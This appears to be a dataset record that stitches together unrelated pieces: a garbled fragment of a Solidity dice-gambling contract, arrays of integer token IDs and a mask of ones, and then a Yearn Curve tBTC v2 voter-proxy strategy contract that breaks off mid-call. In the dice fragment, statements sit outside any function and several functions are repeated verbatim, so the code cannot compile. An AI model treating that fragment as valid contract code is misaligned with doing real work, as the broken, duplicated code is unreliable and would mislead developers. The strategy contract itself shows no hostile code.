gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } lockedInBets -= possibleWinAmount; bet.isSettled = true; function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function emitSettledEvent(Bet storage bet) private { uint amount = bet.amount; uint outcome = bet.outcome; uint winAmount = bet.winAmount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; emit BetSettled(gambler, amount, uint8(modulo), uint8(rollEdge), bet.mask, bet.commit, outcome, winAmount); } function refundBet(uint commit) external nonReentrant payable { Bet storage bet = bets[commit]; uint amount = bet.amount; require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Wait after placing bet before requesting refund."); uint possibleWinAmount = bet.winAmount; lockedInBets -= possibleWinAmount; bet.isSettled = true; bet.winAmount = amount; bet.gambler.transfer(amount); emit BetRefunded(bet.gambler, amount); } function validateArguments(uint amount, uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) view private { require (modulo == 2 || modulo == 6 || modulo == 36 || modulo == 37 || modulo == 100, "Modulo should be valid value."); require (amount >= minBetAmount && amount <= maxBetAmount, "Bet amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(betMask, modulo, commitLastBlock, commit, isLarger)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); if (modulo > MAX_MASK_MODULO) { if (isLarger){ require (betMask >= minOverValue && betMask <= modulo, "High modulo range, betMask must larger than minimum larger comparison value."); } else{ require (betMask > 0 && betMask <= maxUnderValue, "High modulo range, betMask must smaller than maximum smaller comparison value."); } } } function validateArguments(uint amount, uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) view private { require (modulo == 2 || modulo == 6 || modulo == 36 || modulo == 37 || modulo == 100, "Modulo should be valid value."); require (amount >= minBetAmount && amount <= maxBetAmount, "Bet amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(betMask, modulo, commitLastBlock, commit, isLarger)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); if (modulo > MAX_MASK_MODULO) { if (isLarger){ require (betMask >= minOverValue && betMask <= modulo, "High modulo range, betMask must larger than minimum larger comparison value."); } else{ require (betMask > 0 && betMask <= maxUnderValue, "High modulo range, betMask must smaller than maximum smaller comparison value."); } } } function validateArguments(uint amount, uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) view private { require (modulo == 2 || modulo == 6 || modulo == 36 || modulo == 37 || modulo == 100, "Modulo should be valid value."); require (amount >= minBetAmount && amount <= maxBetAmount, "Bet amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(betMask, modulo, commitLastBlock, commit, isLarger)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); if (modulo > MAX_MASK_MODULO) { if (isLarger){ require (betMask >= minOverValue && betMask <= modulo, "High modulo range, betMask must larger than minimum larger comparison value."); } else{ require (betMask > 0 && betMask <= maxUnderValue, "High modulo range, betMask must smaller than maximum smaller comparison value."); } } } function validateArguments(uint amount, uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) view private { require (modulo == 2 || modulo == 6 || modulo == 36 || modulo == 37 || modulo == 100, "Modulo should be valid value."); require (amount >= minBetAmount && amount <= maxBetAmount, "Bet amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(betMask, modulo, commitLastBlock, commit, isLarger)); require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid."); if (modulo > MAX_MASK_MODULO) { if (isLarger){ require (betMask >= minOverValue && betMask <= modulo, "High modulo range, betMask must larger than minimum larger comparison value."); } else{ require (betMask > 0 && betMask <= maxUnderValue, "High modulo range, betMask must smaller than maximum smaller comparison value."); } } } function getModuloHouseEdgePercent(uint32 modulo) internal view returns (uint32 houseEdgePercent) { houseEdgePercent = houseEdgePercents[modulo]; if(houseEdgePercent == 0){ houseEdgePercent = uint32(defaultHouseEdgePercent); } } function getModuloHouseEdgePercent(uint32 modulo) internal view returns (uint32 houseEdgePercent) { houseEdgePercent = houseEdgePercents[modulo]; if(houseEdgePercent == 0){ houseEdgePercent = uint32(defaultHouseEdgePercent); } } }
9,255,991
[ 1, 1739, 26478, 353, 326, 1300, 434, 1298, 625, 303, 70, 429, 29867, 316, 279, 7920, 30, 225, 576, 364, 13170, 9668, 225, 1666, 364, 302, 1812, 5824, 225, 22342, 273, 6580, 364, 1645, 302, 1812, 225, 18091, 364, 721, 332, 7637, 225, 2130, 364, 1651, 2693, 3431, 332, 538, 5712, 4552, 67, 11704, 67, 6720, 57, 1502, 854, 5950, 5314, 279, 2831, 3066, 16, 15632, 2701, 1787, 603, 2923, 29867, 18, 2457, 3454, 316, 279, 302, 1812, 5824, 261, 1711, 12854, 273, 1666, 3631, 374, 2787, 21, 3066, 4696, 2701, 1787, 603, 404, 18, 374, 2787, 21, 5970, 628, 3112, 358, 6970, 12724, 404, 18, 13822, 3784, 3066, 4696, 2701, 1787, 603, 1059, 471, 1666, 18, 13822, 3784, 5970, 628, 3112, 358, 6970, 12724, 8063, 18, 1021, 2923, 460, 353, 2065, 690, 635, 326, 5410, 716, 8303, 17, 3682, 12110, 23066, 563, 5360, 19981, 11209, 1056, 14382, 715, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 2474, 38, 278, 353, 14223, 6914, 16, 868, 8230, 12514, 16709, 288, 203, 565, 2254, 5381, 4552, 67, 6720, 57, 1502, 273, 2130, 31, 203, 203, 565, 2254, 5381, 4552, 67, 11704, 67, 6720, 57, 1502, 273, 8063, 31, 203, 377, 203, 565, 2254, 5381, 605, 1584, 67, 18433, 24284, 67, 11403, 55, 273, 16927, 31, 203, 203, 565, 1758, 5381, 463, 2799, 22114, 67, 15140, 273, 374, 17432, 1340, 1340, 41, 1340, 73, 41, 73, 41, 1340, 41, 73, 41, 73, 41, 1340, 9383, 41, 1340, 1340, 41, 1340, 1340, 1340, 73, 9383, 73, 41, 31, 203, 203, 565, 2254, 5381, 4552, 67, 38, 1584, 67, 11704, 273, 576, 2826, 4552, 67, 11704, 67, 6720, 57, 1502, 31, 203, 203, 565, 2254, 5381, 13803, 3513, 1784, 67, 12845, 273, 374, 92, 12648, 2787, 22, 12648, 1611, 2787, 9449, 28, 12648, 3028, 12648, 3103, 12648, 1611, 31, 203, 565, 2254, 5381, 13803, 3513, 1784, 67, 11704, 273, 374, 92, 13304, 3028, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 21869, 2163, 9803, 31, 203, 565, 2254, 5381, 13803, 3513, 1784, 67, 6720, 57, 1502, 273, 374, 92, 23, 42, 31, 203, 203, 565, 2254, 1071, 15582, 758, 1724, 31, 203, 565, 2254, 1071, 15582, 1190, 9446, 287, 31, 203, 203, 565, 2254, 1071, 732, 4162, 7731, 10798, 7614, 273, 29839, 225, 2437, 31, 203, 565, 2254, 1071, 732, 4162, 7731, 10798, 8410, 273, 404, 31, 203, 203, 565, 2254, 1071, 1131, 38, 278, 6275, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@keep-network/yearn-vaults/contracts/BaseStrategy.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; /// @notice Interface for the CurveFi pool. /// @dev This is an interface with just a few function signatures of the pool. /// For more info and function description please see: /// https://github.com/curvefi/curve-contract/tree/master/contracts/pool-templates interface ICurvePool { function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount) external payable; function calc_token_amount(uint256[4] calldata amounts, bool deposit) external view returns (uint256); } /// @notice Interface for the proxy contract which allows strategies to /// make calls to the Curve DAO through the common CurveYCRVVoter. /// @dev This is an interface with just a few function signatures of the proxy. /// For more info and function description please see: /// - https://github.com/yearn/yearn-protocol/blob/develop/contracts/strategies/StrategyProxy.sol /// - https://docs.yearn.finance/resources/guides/how-to-understand-crv-vote-locking interface IStrategyProxy { function balanceOf(address gauge) external view returns (uint256); function deposit(address gauge, address token) external; function withdraw( address gauge, address token, uint256 amount ) external returns (uint256); function withdrawAll(address gauge, address token) external returns (uint256); function harvest(address gauge) external; function claimRewards(address gauge, address token) external; function approveStrategy(address gauge, address strategy) external; } /// @notice Interface for the Uniswap v2 router. /// @dev This is an interface with just a few function signatures of the /// router contract. For more info and function description please see: /// https://uniswap.org/docs/v2/smart-contracts/router02 /// This interface allows to interact with Sushiswap as well. interface IUniswapV2Router { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external; function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); } /// @notice Interface for the optional metadata functions from the ERC20 standard. interface IERC20Metadata { function symbol() external view returns (string memory); } /// @title CurveVoterProxyStrategy /// @notice This strategy is meant to be used with the Curve tBTC v2 pool vault. /// The vault's underlying token (a.k.a. want token) should be the LP /// token of the Curve tBTC v2 pool. This strategy borrows the vault's /// underlying token up to the debt limit configured for this strategy /// in the vault. In order to make the profit, the strategy deposits /// the borrowed tokens into the gauge contract of the Curve tBTC v2 pool. /// Depositing tokens in the gauge generates regular CRV rewards and /// can provide additional rewards (denominated in another token) /// if the gauge stakes its deposits into the Synthetix staking /// rewards contract. The financial outcome is settled upon a call /// of the `harvest` method (BaseStrategy.sol). Once that call is made, /// the strategy harvests the CRV rewards from the pool's gauge. Then, /// it takes a small portion (defined by keepCRV param) and locks it /// into the Curve vote escrow (via CurveYCRVVoter contract) to gain CRV /// boost and increase future gains. The rest of CRV tokens is used to /// buy wBTC via a decentralized exchange. If the pool's gauge supports /// additional rewards from Synthetix staking, the strategy claims /// that reward too and uses obtained reward tokens to buy more wBTC. /// At the end, the strategy takes acquired wBTC and deposits them /// to the Curve tBTC v2 pool. This way it obtains new LP tokens /// the vault is interested for, and makes the profit in result. /// At this stage, the strategy may repay some debt back to the vault, /// if needed. The entire cycle repeats for the strategy lifetime so /// all gains are constantly reinvested. Worth to flag that current /// implementation uses wBTC as the intermediary token because /// of its liquidity and ubiquity in BTC-based Curve pools. /// @dev Implementation is based on: /// - General Yearn strategy template /// https://github.com/yearn/brownie-strategy-mix /// - Curve voter proxy strategy template /// https://github.com/orbxball/curve-voter-proxy /// - Curve voter proxy implementation for tBTC v1 vault /// https://github.com/orbxball/btc-curve-voter-proxy contract CurveVoterProxyStrategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; /// @notice Governance delay that needs to pass before any parameter change /// initiated by the governance takes effect. uint256 public constant GOVERNANCE_DELAY = 48 hours; uint256 public constant DENOMINATOR = 10000; // Address of the CurveYCRVVoter contract. address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934); // Address of the StrategyProxy contract. address public strategyProxy = address(0xA420A63BbEFfbda3B147d0585F1852C358e2C152); address public newStrategyProxy; uint256 public strategyProxyChangeInitiated; // Address of the CRV token contract. address public constant crvToken = address(0xD533a949740bb3306d119CC777fa900bA034cd52); // Address of the WETH token contract. address public constant wethToken = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // Address of the WBTC token contract. address public constant wbtcToken = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // Address of the Uniswap V2 router contract. address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Address of the depositor contract for the tBTC v2 Curve pool. address public immutable tbtcCurvePoolDepositor; // Address of the gauge contract for the tBTC v2 Curve pool. address public immutable tbtcCurvePoolGauge; // Address of the additional reward token distributed by the gauge contract // of the tBTC v2 Curve pool. This is applicable only in case when the gauge // stakes LP tokens into the Synthetix staking rewards contract // (i.e. the gauge is an instance of LiquidityGaugeReward contract). // Can be unset if additional rewards are not supported by the gauge. address public immutable tbtcCurvePoolGaugeReward; // Address of the DEX used to swap reward tokens back to the vault's // underlying token. This can be Uniswap or other Uni-like DEX. address public immutable dex; // Determines the portion of CRV tokens which should be locked in the // Curve vote escrow to gain a CRV boost. This is the counter of a fraction // denominated by the DENOMINATOR constant. For example, if the value // is `1000`, that means 10% of tokens will be locked because // 1000/10000 = 0.1 uint256 public keepCRV; uint256 public newKeepCRV; uint256 public keepCRVChangeInitiated; // Determines the slippage tolerance for price-sensitive transactions. // If transaction's slippage is higher, transaction will be reverted. // Default value is 100 basis points (1%). uint256 public slippageTolerance = 100; uint256 public newSlippageTolerance; uint256 public slippageToleranceChangeInitiated; event KeepCRVUpdateStarted(uint256 keepCRV, uint256 timestamp); event KeepCRVUpdated(uint256 keepCRV); event StrategyProxyUpdateStarted( address indexed strategyProxy, uint256 timestamp ); event StrategyProxyUpdated(address indexed strategyProxy); event SlippageToleranceUpdateStarted( uint256 slippageTolerance, uint256 timestamp ); event SlippageToleranceUpdated(uint256 slippageTolerance); /// @notice Reverts if called before the governance delay elapses. /// @param changeInitiatedTimestamp Timestamp indicating the beginning /// of the change. modifier onlyAfterGovernanceDelay(uint256 changeInitiatedTimestamp) { require(changeInitiatedTimestamp > 0, "Change not initiated"); require( /* solhint-disable-next-line not-rely-on-time */ block.timestamp - changeInitiatedTimestamp >= GOVERNANCE_DELAY, "Governance delay has not elapsed" ); _; } constructor( address _vault, address _tbtcCurvePoolDepositor, address _tbtcCurvePoolGauge, address _tbtcCurvePoolGaugeReward // optional, zero is valid value ) public BaseStrategy(_vault) { // Strategy settings. minReportDelay = 6 hours; maxReportDelay = 2 days; profitFactor = 1; debtThreshold = 1e24; dex = uniswap; keepCRV = 1000; // tBTC-related settings. tbtcCurvePoolDepositor = _tbtcCurvePoolDepositor; tbtcCurvePoolGauge = _tbtcCurvePoolGauge; tbtcCurvePoolGaugeReward = _tbtcCurvePoolGaugeReward; } /// @notice Begins the update of the strategy proxy contract address. /// @dev Can be called only by the governance. /// @param _newStrategyProxy Address of the new proxy. function beginStrategyProxyUpdate(address _newStrategyProxy) external onlyGovernance { require(_newStrategyProxy != address(0), "Invalid address"); newStrategyProxy = _newStrategyProxy; strategyProxyChangeInitiated = block.timestamp; emit StrategyProxyUpdateStarted(_newStrategyProxy, block.timestamp); } /// @notice Finalizes the update of the strategy proxy contract address. /// @dev Can be called only by the governance, after the governance /// delay elapses. function finalizeStrategyProxyUpdate() external onlyGovernance onlyAfterGovernanceDelay(strategyProxyChangeInitiated) { strategyProxy = newStrategyProxy; emit StrategyProxyUpdated(newStrategyProxy); strategyProxyChangeInitiated = 0; newStrategyProxy = address(0); } /// @notice Begins the update of the threshold determining the portion of /// CRV tokens which should be locked in the Curve vote escrow to /// gain CRV boost. /// @dev Can be called only by the strategist and governance. /// @param _newKeepCRV Portion as counter of a fraction denominated by the /// DENOMINATOR constant. function beginKeepCRVUpdate(uint256 _newKeepCRV) external onlyAuthorized { require(_newKeepCRV <= DENOMINATOR, "Max value is 10000"); newKeepCRV = _newKeepCRV; keepCRVChangeInitiated = block.timestamp; emit KeepCRVUpdateStarted(_newKeepCRV, block.timestamp); } /// @notice Finalizes the keep CRV threshold update process. /// @dev Can be called only by the strategist and governance, after the /// governance delay elapses. function finalizeKeepCRVUpdate() external onlyAuthorized onlyAfterGovernanceDelay(keepCRVChangeInitiated) { keepCRV = newKeepCRV; emit KeepCRVUpdated(newKeepCRV); keepCRVChangeInitiated = 0; newKeepCRV = 0; } /// @notice Begins the update of the slippage tolerance parameter. /// @dev Can be called only by the strategist and governance. /// @param _newSlippageTolerance Slippage tolerance as counter of a fraction /// denominated by the DENOMINATOR constant. function beginSlippageToleranceUpdate(uint256 _newSlippageTolerance) external onlyAuthorized { require(_newSlippageTolerance <= DENOMINATOR, "Max value is 10000"); newSlippageTolerance = _newSlippageTolerance; slippageToleranceChangeInitiated = block.timestamp; emit SlippageToleranceUpdateStarted( _newSlippageTolerance, block.timestamp ); } /// @notice Finalizes the update of the slippage tolerance parameter. /// @dev Can be called only by the strategist and governance, after the the /// governance delay elapses. function finalizeSlippageToleranceUpdate() external onlyAuthorized onlyAfterGovernanceDelay(slippageToleranceChangeInitiated) { slippageTolerance = newSlippageTolerance; emit SlippageToleranceUpdated(newSlippageTolerance); slippageToleranceChangeInitiated = 0; newSlippageTolerance = 0; } /// @return Name of the Yearn vault strategy. function name() external view override returns (string memory) { return string( abi.encodePacked( "Curve", IERC20Metadata(address(want)).symbol(), "VoterProxy" ) ); } /// @return Balance of the vault's underlying token under management. function balanceOfWant() public view returns (uint256) { return want.balanceOf(address(this)); } /// @return Balance of the vault's underlying token deposited into the Curve /// pool's gauge. function balanceOfPool() public view returns (uint256) { return IStrategyProxy(strategyProxy).balanceOf(tbtcCurvePoolGauge); } /// @return Sum of balanceOfWant and balanceOfPool. function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant().add(balanceOfPool()); } /// @notice This method is defined in the BaseStrategy contract and is /// meant to perform any adjustments to the core position(s) of this /// strategy, given what change the vault made in the investable /// capital available to the strategy. All free capital in the /// strategy after the report was made is available for reinvestment. /// This strategy implements the aforementioned behavior by taking /// its balance of the vault's underlying token and depositing it to /// the Curve pool's gauge via the strategy proxy contract. /// @param debtOutstanding Will be 0 if the strategy is not past the /// configured debt limit, otherwise its value will be how far past /// the debt limit the strategy is. The strategy's debt limit is /// configured in the vault. function adjustPosition(uint256 debtOutstanding) internal override { uint256 wantBalance = want.balanceOf(address(this)); if (wantBalance > 0) { want.safeTransfer(strategyProxy, wantBalance); IStrategyProxy(strategyProxy).deposit( tbtcCurvePoolGauge, address(want) ); } } /// @notice Withdraws a portion of the vault's underlying token from /// the Curve pool's gauge. /// @param amount Amount to withdraw. /// @return Amount withdrawn. function withdrawSome(uint256 amount) internal returns (uint256) { amount = Math.min(amount, balanceOfPool()); return IStrategyProxy(strategyProxy).withdraw( tbtcCurvePoolGauge, address(want), amount ); } /// @notice This method is defined in the BaseStrategy contract and is meant /// to liquidate up to amountNeeded of want token of this strategy's /// positions, irregardless of slippage. Any excess will be /// re-invested with adjustPosition. This function should return /// the amount of want tokens made available by the liquidation. /// If there is a difference between them, loss indicates whether /// the difference is due to a realized loss, or if there is some /// other situation at play (e.g. locked funds). This strategy /// implements the aforementioned behavior by withdrawing a portion /// of the vault's underlying token (want token) from the Curve /// pool's gauge. /// @dev The invariant `liquidatedAmount + loss <= amountNeeded` should /// always be maintained. /// @param amountNeeded Amount of the vault's underlying tokens needed by /// the liquidation process. /// @return liquidatedAmount Amount of vault's underlying tokens made /// available by the liquidation. /// @return loss Amount of the loss. function liquidatePosition(uint256 amountNeeded) internal override returns (uint256 liquidatedAmount, uint256 loss) { uint256 wantBalance = want.balanceOf(address(this)); if (wantBalance < amountNeeded) { liquidatedAmount = withdrawSome(amountNeeded.sub(wantBalance)); liquidatedAmount = liquidatedAmount.add(wantBalance); loss = amountNeeded.sub(liquidatedAmount); } else { liquidatedAmount = amountNeeded; } } /// @notice This method is defined in the BaseStrategy contract and is meant /// to liquidate everything and return the amount that got freed. /// This strategy implements the aforementioned behavior by withdrawing /// all vault's underlying tokens from the Curve pool's gauge. /// @dev This function is used during emergency exit instead of prepareReturn /// to liquidate all of the strategy's positions back to the vault. /// @return Total balance of want tokens held by this strategy. function liquidateAllPositions() internal override returns (uint256) { IStrategyProxy(strategyProxy).withdrawAll( tbtcCurvePoolGauge, address(want) ); // Yearn docs doesn't specify clear enough what exactly should be // returned here. It may be either the total balance after withdrawAll // or just the amount withdrawn. Currently opting for the former // because of https://github.com/yearn/yearn-vaults/pull/311#discussion_r625588313. // Also, usage of this result in the harvest method in the BaseStrategy // seems to confirm that. return want.balanceOf(address(this)); } /// @notice This method is defined in the BaseStrategy contract and is meant /// to do anything necessary to prepare this strategy for migration, /// such as transferring any reserve or LP tokens, CDPs, or other /// tokens or stores of value. This strategy implements the /// aforementioned behavior by withdrawing all vault's underlying /// tokens from the Curve pool's gauge. /// @param newStrategy Address of the new strategy meant to replace the /// current one. function prepareMigration(address newStrategy) internal override { // Just withdraw the vault's underlying token from the Curve pool's gauge. // There is no need to transfer those tokens to the new strategy // right here as this is done in the BaseStrategy's migrate() method. IStrategyProxy(strategyProxy).withdrawAll( tbtcCurvePoolGauge, address(want) ); // Harvest the CRV rewards from the Curve pool's gauge and transfer // them to the new strategy IStrategyProxy(strategyProxy).harvest(tbtcCurvePoolGauge); IERC20(crvToken).safeTransfer( newStrategy, IERC20(crvToken).balanceOf(address(this)) ); // Claim additional reward tokens from the gauge if applicable and // transfer them to the new strategy if (tbtcCurvePoolGaugeReward != address(0)) { IStrategyProxy(strategyProxy).claimRewards( tbtcCurvePoolGauge, tbtcCurvePoolGaugeReward ); IERC20(tbtcCurvePoolGaugeReward).safeTransfer( newStrategy, IERC20(tbtcCurvePoolGaugeReward).balanceOf(address(this)) ); } } /// @notice Takes the keepCRV portion of the CRV balance and transfers /// it to the CurveYCRVVoter contract in order to gain CRV boost. /// @param crvBalance Balance of CRV tokens under management. /// @return Amount of CRV tokens remaining under management after the /// transfer. function adjustCRV(uint256 crvBalance) internal returns (uint256) { uint256 crvTransfer = crvBalance.mul(keepCRV).div(DENOMINATOR); IERC20(crvToken).safeTransfer(voter, crvTransfer); return crvBalance.sub(crvTransfer); } /// @notice This method is defined in the BaseStrategy contract and is meant /// to perform any strategy unwinding or other calls necessary to /// capture the free return this strategy has generated since the /// last time its core position(s) were adjusted. Examples include /// unwrapping extra rewards. This call is only used during normal /// operation of a strategy, and should be optimized to minimize /// losses as much as possible. This strategy implements the /// aforementioned behavior by harvesting the Curve pool's gauge /// CRV rewards, using most of the CRV tokens to buy one of the /// Curve pool's accepted token, and depositing that token back to /// the Curve pool. This way the strategy is gaining new vault's /// underlying tokens thus making the profit. A small portion of /// CRV rewards (defined by keepCRV param) is transferred to the /// voter contract to increase CRV boost and get more CRV rewards /// in the future. Apart from that, this strategy also sells /// the Curve pool's gauge additional rewards, generated using the /// Synthetix staking rewards contract. /// @param debtOutstanding Will be 0 if the strategy is not past the /// configured debt limit, otherwise its value will be how far past /// the debt limit the strategy is. The strategy's debt limit is /// configured in the vault. /// @return profit Amount of realized profit. /// @return loss Amount of realized loss. /// @return debtPayment Amount of repaid debt. The value of debtPayment /// should be less than or equal to debtOutstanding. It is okay for /// it to be less than debtOutstanding, as that should only used as /// a guide for how much is left to pay back. Payments should be /// made to minimize loss from slippage, debt, withdrawal fees, etc. function prepareReturn(uint256 debtOutstanding) internal override returns ( uint256 profit, uint256 loss, uint256 debtPayment ) { // Get the initial balance of the vault's underlying token under // strategy management. uint256 initialWantBalance = want.balanceOf(address(this)); // Harvest the CRV rewards from the Curve pool's gauge. IStrategyProxy(strategyProxy).harvest(tbtcCurvePoolGauge); // Buy WBTC using harvested CRV tokens. uint256 crvBalance = IERC20(crvToken).balanceOf(address(this)); if (crvBalance > 0) { // Deposit a portion of CRV to the voter to gain CRV boost. crvBalance = adjustCRV(crvBalance); IERC20(crvToken).safeIncreaseAllowance(dex, crvBalance); address[] memory path = new address[](3); path[0] = crvToken; path[1] = wethToken; path[2] = wbtcToken; IUniswapV2Router(dex).swapExactTokensForTokens( crvBalance, minSwapOutAmount(crvBalance, path), path, address(this), now ); } // Claim additional reward tokens from the gauge if applicable. if (tbtcCurvePoolGaugeReward != address(0)) { IStrategyProxy(strategyProxy).claimRewards( tbtcCurvePoolGauge, tbtcCurvePoolGaugeReward ); uint256 rewardBalance = IERC20(tbtcCurvePoolGaugeReward).balanceOf( address(this) ); if (rewardBalance > 0) { IERC20(tbtcCurvePoolGaugeReward).safeIncreaseAllowance( dex, rewardBalance ); address[] memory path = new address[](3); path[0] = tbtcCurvePoolGaugeReward; path[1] = wethToken; path[2] = wbtcToken; IUniswapV2Router(dex).swapExactTokensForTokens( rewardBalance, minSwapOutAmount(rewardBalance, path), path, address(this), now ); } } // Deposit acquired WBTC to the Curve pool to gain additional // vault's underlying tokens. uint256 wbtcBalance = IERC20(wbtcToken).balanceOf(address(this)); if (wbtcBalance > 0) { IERC20(wbtcToken).safeIncreaseAllowance( tbtcCurvePoolDepositor, wbtcBalance ); // TODO: When the new curve pool with tBTC v2 is deployed, verify // that the index of wBTC in the array is correct. uint256[4] memory amounts = [0, 0, wbtcBalance, 0]; ICurvePool(tbtcCurvePoolDepositor).add_liquidity( amounts, minLiquidityDepositOutAmount(amounts) ); } // Check the profit and loss in the context of strategy debt. uint256 totalAssets = estimatedTotalAssets(); uint256 totalDebt = vault.strategies(address(this)).totalDebt; if (totalAssets < totalDebt) { loss = totalDebt - totalAssets; profit = 0; } else { profit = want.balanceOf(address(this)).sub(initialWantBalance); } // Repay some vault debt if needed. if (debtOutstanding > 0) { withdrawSome(debtOutstanding); debtPayment = Math.min( debtOutstanding, balanceOfWant().sub(profit) ); } } /// @notice Calculates the minimum amount of output tokens that must be /// received for the swap transaction not to revert. /// @param amountIn The amount of input tokens to send. /// @param path An array of token addresses determining the swap route. /// @return The minimum amount of output tokens that must be received for /// the swap transaction not to revert. function minSwapOutAmount(uint256 amountIn, address[] memory path) internal view returns (uint256) { // Get the maximum possible amount of the output token based on // pair reserves. uint256 amount = IUniswapV2Router(dex).getAmountsOut(amountIn, path)[ path.length - 1 ]; // Include slippage tolerance into the maximum amount of output tokens // in order to obtain the minimum amount desired. return (amount * (DENOMINATOR - slippageTolerance)) / DENOMINATOR; } /// @notice Calculates the minimum amount of LP tokens that must be /// received for the liquidity deposit transaction not to revert. /// @param amountsIn Amounts of each underlying coin being deposited. /// @return The minimum amount of LP tokens that must be received for /// the liquidity deposit transaction not to revert. function minLiquidityDepositOutAmount(uint256[4] memory amountsIn) internal view returns (uint256) { // Get the maximum possible amount of LP tokens received in return // for liquidity deposit based on pool reserves. uint256 amount = ICurvePool(tbtcCurvePoolDepositor).calc_token_amount( amountsIn, true ); // Include slippage tolerance into the maximum amount of LP tokens // in order to obtain the minimum amount desired. return (amount * (DENOMINATOR - slippageTolerance)) / DENOMINATOR; } /// @notice This method is defined in the BaseStrategy contract and is meant /// to define all tokens/tokenized positions this contract manages /// on a persistent basis (e.g. not just for swapping back to /// the want token ephemerally). /// @dev Should not include want token, already included in the base contract. /// @return Addresses of protected tokens function protectedTokens() internal view override returns (address[] memory) { if (tbtcCurvePoolGaugeReward != address(0)) { address[] memory protected = new address[](2); protected[0] = crvToken; protected[1] = tbtcCurvePoolGaugeReward; return protected; } address[] memory protected = new address[](1); protected[0] = crvToken; return protected; } /// @notice This method is defined in the BaseStrategy contract and is meant /// to provide an accurate conversion from amtInWei (denominated in wei) /// to want token (using the native decimal characteristics of want token). /// @param amtInWei The amount (in wei/1e-18 ETH) to convert to want tokens. /// @return The amount in want tokens. function ethToWant(uint256 amtInWei) public view virtual override returns (uint256) { address[] memory path = new address[](2); path[0] = wethToken; path[1] = wbtcToken; // As of writing this contract, there's no pool available that trades // an underlying token with ETH. To overcome this, the ETH amount // denominated in WEI should be converted into an amount denominated // in one of the tokens accepted by the tBTC v2 Curve pool using Uniswap. // The wBTC token was chosen arbitrarily since it is already used in this // contract for other operations on Uniswap. // amounts[0] -> ETH in wei // amounts[1] -> wBTC uint256[] memory amounts = IUniswapV2Router(dex).getAmountsOut( amtInWei, path ); // Use the amount denominated in wBTC to calculate the amount of LP token // (vault's underlying token) that could be obtained if that wBTC amount // was deposited in the Curve pool that has tBTC v2 in it. This way we // obtain an estimated value of the original WEI amount represented in // the vault's underlying token. // // TODO: When the new curve pool with tBTC v2 is deployed, verify that // the index of wBTC (amounts[1]) in the array is correct. return ICurvePool(tbtcCurvePoolDepositor).calc_token_amount( [0, 0, amounts[1], 0], 